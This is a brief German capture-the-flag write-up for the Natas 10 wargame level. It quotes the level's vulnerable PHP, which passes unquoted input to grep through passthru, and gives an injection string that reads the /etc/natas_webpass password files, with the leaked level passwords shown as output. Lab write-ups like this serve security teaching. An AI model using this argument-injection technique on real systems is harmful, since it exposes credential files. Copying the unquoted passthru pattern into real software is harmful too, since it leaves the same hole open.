Aktualisiert am: 2022-08-03
Command Injection
Enumeration
Dasselbe vorgehen für Natas9 funktioniert auch für Natas10, da unser “Pattern” von den zusätzlichen Restriktionen nicht erfasst wird
-
Der Parameter
$key
darf bestimmte Zeichen (;
,|
,&
) nicht enthalten, bevor er angrep
übergeben wirdif($key != "") { if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); } }
Exploitation
Somit lautet unser Suchbegriff auch hier
. /etc/natas_webpass/natas*
Output:
/etc/natas_webpass/natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
dictionary.txt:African
...